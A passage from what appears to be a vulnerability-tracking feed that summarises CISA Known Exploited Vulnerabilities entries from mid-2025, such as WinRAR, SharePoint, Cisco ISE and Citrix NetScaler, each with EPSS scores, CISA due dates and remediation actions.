EPSS 23.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-54948&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-54948: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-54948&date=2026-10-25
CISA added this entry on 2025-08-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 18, 2025; federal due date Sep 8, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### N-able N-Central Command Injection Vulnerability
https://kevwire.com/record/CVE-2025-8876
N-able N-Central Command Injection Vulnerability (Aug 13, 2025).
N-able N-Central contains a command injection vulnerability via improper sanitization of user input.
EPSS 3.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-8876&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-8876: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-8876&date=2026-10-25
CISA added this entry on 2025-08-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 13, 2025; federal due date Aug 20, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### N-able N-Central Insecure Deserialization Vulnerability
https://kevwire.com/record/CVE-2025-8875
N-able N-Central Insecure Deserialization Vulnerability (Aug 13, 2025).
N-able N-Central contains an insecure deserialization vulnerability that could lead to command execution.
EPSS 1.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-8875&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-8875: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-8875&date=2026-10-25
CISA added this entry on 2025-08-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 13, 2025; federal due date Aug 20, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### RARLAB WinRAR Path Traversal Vulnerability
https://kevwire.com/record/CVE-2025-8088
RARLAB WinRAR Path Traversal Vulnerability (Aug 12, 2025).
RARLAB WinRAR contains a path traversal vulnerability affecting the Windows version of WinRAR. This vulnerability could allow an attacker to execute arbitrary code by crafting malicious archive files.
EPSS 94.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-8088&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-8088: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-8088&date=2026-10-25
CISA added this entry on 2025-08-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 12, 2025; federal due date Sep 2, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Office Excel Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2007-0671
Microsoft Office Excel Remote Code Execution Vulnerability (Aug 12, 2025).
Microsoft Office Excel contains a remote code execution vulnerability that can be exploited when a specially crafted Excel file is opened. This malicious file could be delivered as an email attachment or hosted on a malicious website. An attacker could leverage this vulnerability by creating a specially crafted Excel file, which, when opened, allowing an attacker to execute remote code on the affected system.
EPSS 43.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2007-0671&date=2026-10-25).
Sources:
CISA KEV entry CVE-2007-0671: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2007-0671&date=2026-10-25
CISA added this entry on 2025-08-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 12, 2025; federal due date Sep 2, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Internet Explorer Resource Management Errors Vulnerability
https://kevwire.com/record/CVE-2013-3893
Microsoft Internet Explorer Resource Management Errors Vulnerability (Aug 12, 2025).
Microsoft Internet Explorer contains a memory corruption vulnerability that allows for remote code execution. The impacted products could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization.
EPSS 87.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-3893&date=2026-10-25).
Sources:
CISA KEV entry CVE-2013-3893: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-3893&date=2026-10-25
CISA added this entry on 2025-08-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 12, 2025; federal due date Sep 2, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### D-Link DCS-2530L and DCS-2670L Devices Unspecified Vulnerability
https://kevwire.com/record/CVE-2020-25078
D-Link DCS-2530L and DCS-2670L Devices Unspecified Vulnerability (Aug 5, 2025).
D-Link DCS-2530L and DCS-2670L devices contains an unspecified vulnerability that could allow for remote administrator password disclosure. The impacted products could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization.
EPSS 97.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-25078&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-25078: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-25078&date=2026-10-25
CISA added this entry on 2025-08-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 5, 2025; federal due date Aug 26, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### D-Link DCS-2530L and DCS-2670L Command Injection Vulnerability
https://kevwire.com/record/CVE-2020-25079
D-Link DCS-2530L and DCS-2670L Command Injection Vulnerability (Aug 5, 2025).
D-Link DCS-2530L and DCS-2670L devices contains a command injection vulnerability in the cgi-bin/ddns_enc.cgi. The impacted products could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization.
EPSS 54.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-25079&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-25079: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-25079&date=2026-10-25
CISA added this entry on 2025-08-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 5, 2025; federal due date Aug 26, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### D-Link DNR-322L Download of Code Without Integrity Check Vulnerability
https://kevwire.com/record/CVE-2022-40799
D-Link DNR-322L Download of Code Without Integrity Check Vulnerability (Aug 5, 2025).
D-Link DNR-322L contains a download of code without integrity check vulnerability that could allow an authenticated attacker to execute OS level commands on the device. The impacted products could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization.
EPSS 33.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-40799&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-40799: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-40799&date=2026-10-25
CISA added this entry on 2025-08-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Aug 5, 2025; federal due date Aug 26, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### PaperCut NG/MF Cross-Site Request Forgery (CSRF) Vulnerability
https://kevwire.com/record/CVE-2023-2533
PaperCut NG/MF Cross-Site Request Forgery (CSRF) Vulnerability (Jul 28, 2025).
PaperCut NG/MF contains a cross-site request forgery (CSRF) vulnerability, which, under specific conditions, could potentially enable an attacker to alter security settings or execute arbitrary code.
EPSS 28.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-2533&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-2533: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-2533&date=2026-10-25
CISA added this entry on 2025-07-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 28, 2025; federal due date Aug 18, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco Identity Services Engine Injection Vulnerability
https://kevwire.com/record/CVE-2025-20337
Cisco Identity Services Engine Injection Vulnerability (Jul 28, 2025).
Cisco Identity Services Engine contains an injection vulnerability in a specific API of Cisco ISE and Cisco ISE-PIC due to insufficient validation of user-supplied input allowing an attacker to exploit this vulnerability by submitting a crafted API request. Successful exploitation could allow an attacker to perform remote code execution and obtaining root privileges on an affected device.
EPSS 74.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-20337&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-20337: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-20337&date=2026-10-25
CISA added this entry on 2025-07-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 28, 2025; federal due date Aug 18, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco Identity Services Engine Injection Vulnerability
https://kevwire.com/record/CVE-2025-20281
Cisco Identity Services Engine Injection Vulnerability (Jul 28, 2025).
Cisco Identity Services Engine contains an injection vulnerability in a specific API of Cisco ISE and Cisco ISE-PIC due to insufficient validation of user-supplied input allowing an attacker to exploit this vulnerability by submitting a crafted API request. Successful exploitation could allow an attacker to perform remote code execution and obtaining root privileges on an affected device.
EPSS 97.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-20281&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-20281: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-20281&date=2026-10-25
CISA added this entry on 2025-07-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 28, 2025; federal due date Aug 18, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SysAid On-Prem Improper Restriction of XML External Entity Reference Vulnerability
https://kevwire.com/record/CVE-2025-2775
SysAid On-Prem Improper Restriction of XML External Entity Reference Vulnerability (Jul 22, 2025).
SysAid On-Prem contains an improper restriction of XML external entity reference vulnerability in the Checkin processing functionality, allowing for administrator account takeover and file read primitives.
EPSS 42.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-2775&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-2775: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-2775&date=2026-10-25
CISA added this entry on 2025-07-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 22, 2025; federal due date Aug 12, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SysAid On-Prem Improper Restriction of XML External Entity Reference Vulnerability
https://kevwire.com/record/CVE-2025-2776
SysAid On-Prem Improper Restriction of XML External Entity Reference Vulnerability (Jul 22, 2025).
SysAid On-Prem contains an improper restriction of XML external entity reference vulnerability in the Server URL processing functionality, allowing for administrator account takeover and file read primitives.
EPSS 64.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-2776&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-2776: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-2776&date=2026-10-25
CISA added this entry on 2025-07-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 22, 2025; federal due date Aug 12, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium ANGLE and GPU Improper Input Validation Vulnerability
https://kevwire.com/record/CVE-2025-6558
Google Chromium ANGLE and GPU Improper Input Validation Vulnerability (Jul 22, 2025).
Google Chromium contains an improper input validation vulnerability in ANGLE and GPU. This vulnerability could allow a remote attacker to potentially perform a sandbox escape via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 10.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-6558&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-6558: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-6558&date=2026-10-25
CISA added this entry on 2025-07-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 22, 2025; federal due date Aug 12, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### CrushFTP Unprotected Alternate Channel Vulnerability
https://kevwire.com/record/CVE-2025-54309
CrushFTP Unprotected Alternate Channel Vulnerability (Jul 22, 2025).
CrushFTP contains an unprotected alternate channel vulnerability. When the DMZ proxy feature is not used, mishandles AS2 validation and consequently allows remote attackers to obtain admin access via HTTPS.
EPSS 93.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-54309&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-54309: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-54309&date=2026-10-25
CISA added this entry on 2025-07-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 22, 2025; federal due date Aug 12, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft SharePoint Code Injection Vulnerability
https://kevwire.com/record/CVE-2025-49704
Microsoft SharePoint Code Injection Vulnerability (Jul 22, 2025).
Microsoft SharePoint contains a code injection vulnerability that could allow an authorized attacker to execute code over a network. This vulnerability could be chained with CVE-2025-49706. CVE-2025-53770 is a patch bypass for CVE-2025-49704, and the updates for CVE-2025-53770 include more robust protection than those for CVE-2025-49704.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-49704&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-49704: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-49704&date=2026-10-25
CISA added this entry on 2025-07-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Disconnect public-facing versions of SharePoint Server that have reached their end-of-life (EOL) or end-of-service (EOS) to include SharePoint Server 2013 and earlier versions. For supported versions, please follow the mitigations according to CISA (URL listed below in Notes) and vendor instructions (URL listed below in Notes). Adhere to the applicable BOD 22-01 guidance for cloud services or discontinue use of the product if mitigations are not available.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 22, 2025; federal due date Jul 23, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft SharePoint Improper Authentication Vulnerability
https://kevwire.com/record/CVE-2025-49706
Microsoft SharePoint Improper Authentication Vulnerability (Jul 22, 2025).
Microsoft SharePoint contains an improper authentication vulnerability that allows an authorized attacker to perform spoofing over a network. Successfully exploitation could allow an attacker to view sensitive information and make some changes to disclosed information. This vulnerability could be chained with CVE-2025-49704. CVE-2025-53771 is a patch bypass for CVE-2025-49706, and the updates for CVE-2025-53771 include more robust protection than those for CVE-2025-49706.
EPSS 99.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-49706&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-49706: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-49706&date=2026-10-25
CISA added this entry on 2025-07-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Disconnect public-facing versions of SharePoint Server that have reached their end-of-life (EOL) or end-of-service (EOS) to include SharePoint Server 2013 and earlier versions. For supported versions, please follow the mitigations according to CISA (URL listed below in Notes) and vendor instructions (URL listed below in Notes). Adhere to the applicable BOD 22-01 guidance for cloud services or discontinue use of the product if mitigations are not available.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 22, 2025; federal due date Jul 23, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Fortinet FortiWeb SQL Injection Vulnerability
https://kevwire.com/record/CVE-2025-25257
Fortinet FortiWeb SQL Injection Vulnerability (Jul 18, 2025).
Fortinet FortiWeb contains a SQL injection vulnerability that may allow an unauthenticated attacker to execute unauthorized SQL code or commands via crafted HTTP or HTTPs requests.
EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-25257&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-25257: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-25257&date=2026-10-25
CISA added this entry on 2025-07-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 18, 2025; federal due date Aug 8, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Wing FTP Server Improper Neutralization of Null Byte or NUL Character Vulnerability
https://kevwire.com/record/CVE-2025-47812
Wing FTP Server Improper Neutralization of Null Byte or NUL Character Vulnerability (Jul 14, 2025).
Wing FTP Server contains an improper neutralization of null byte or NUL character vulnerability that can allow injection of arbitrary Lua code into user session files. This can be used to execute arbitrary system commands with the privileges of the FTP service (root or SYSTEM by default).
EPSS 93.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-47812&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-47812: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-47812&date=2026-10-25
CISA added this entry on 2025-07-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 14, 2025; federal due date Aug 4, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Citrix NetScaler ADC and Gateway Out-of-Bounds Read Vulnerability
https://kevwire.com/record/CVE-2025-5777
Citrix NetScaler ADC and Gateway Out-of-Bounds Read Vulnerability (Jul 10, 2025).
Citrix NetScaler ADC and Gateway contain an out-of-bounds read vulnerability due to insufficient input validation. This vulnerability can lead to memory overread when the NetScaler is configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) OR AAA virtual server.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-5777&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-5777: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-5777&date=2026-10-25
CISA added this entry on 2025-07-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 10, 2025; federal due date Jul 11, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Synacor Zimbra Collaboration Suite (ZCS) Server-Side Request Forgery (SSRF) Vulnerability
https://kevwire.com/record/CVE-2019-9621
Synacor Zimbra Collaboration Suite (ZCS) Server-Side Request Forgery (SSRF) Vulnerability (Jul 7, 2025).
Synacor Zimbra Collaboration Suite (ZCS) contains a server-side request forgery (SSRF) vulnerability via the ProxyServlet component.
EPSS 81.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-9621&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-9621: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-9621&date=2026-10-25
CISA added this entry on 2025-07-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 7, 2025; federal due date Jul 28, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Rails Ruby on Rails Path Traversal Vulnerability
https://kevwire.com/record/CVE-2019-5418
Rails Ruby on Rails Path Traversal Vulnerability (Jul 7, 2025).
Rails Ruby on Rails contains a path traversal vulnerability in Action View. Specially crafted accept headers in combination with calls to `render file:` can cause arbitrary files on the target server to be rendered, disclosing the file contents.
EPSS 98.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-5418&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-5418: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-5418&date=2026-10-25
CISA added this entry on 2025-07-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 7, 2025; federal due date Jul 28, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### PHPMailer Command Injection Vulnerability
https://kevwire.com/record/CVE-2016-10033
PHPMailer Command Injection Vulnerability (Jul 7, 2025).
PHPMailer contains a command injection vulnerability because it fails to sanitize user-supplied input. Specifically, this issue affects the 'mail()' function of 'class.phpmailer.php' script. An attacker can exploit this issue to execute arbitrary code within the context of the application. Failed exploit attempts will result in a denial-of-service condition.
EPSS 99.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-10033&date=2026-10-25).
Sources:
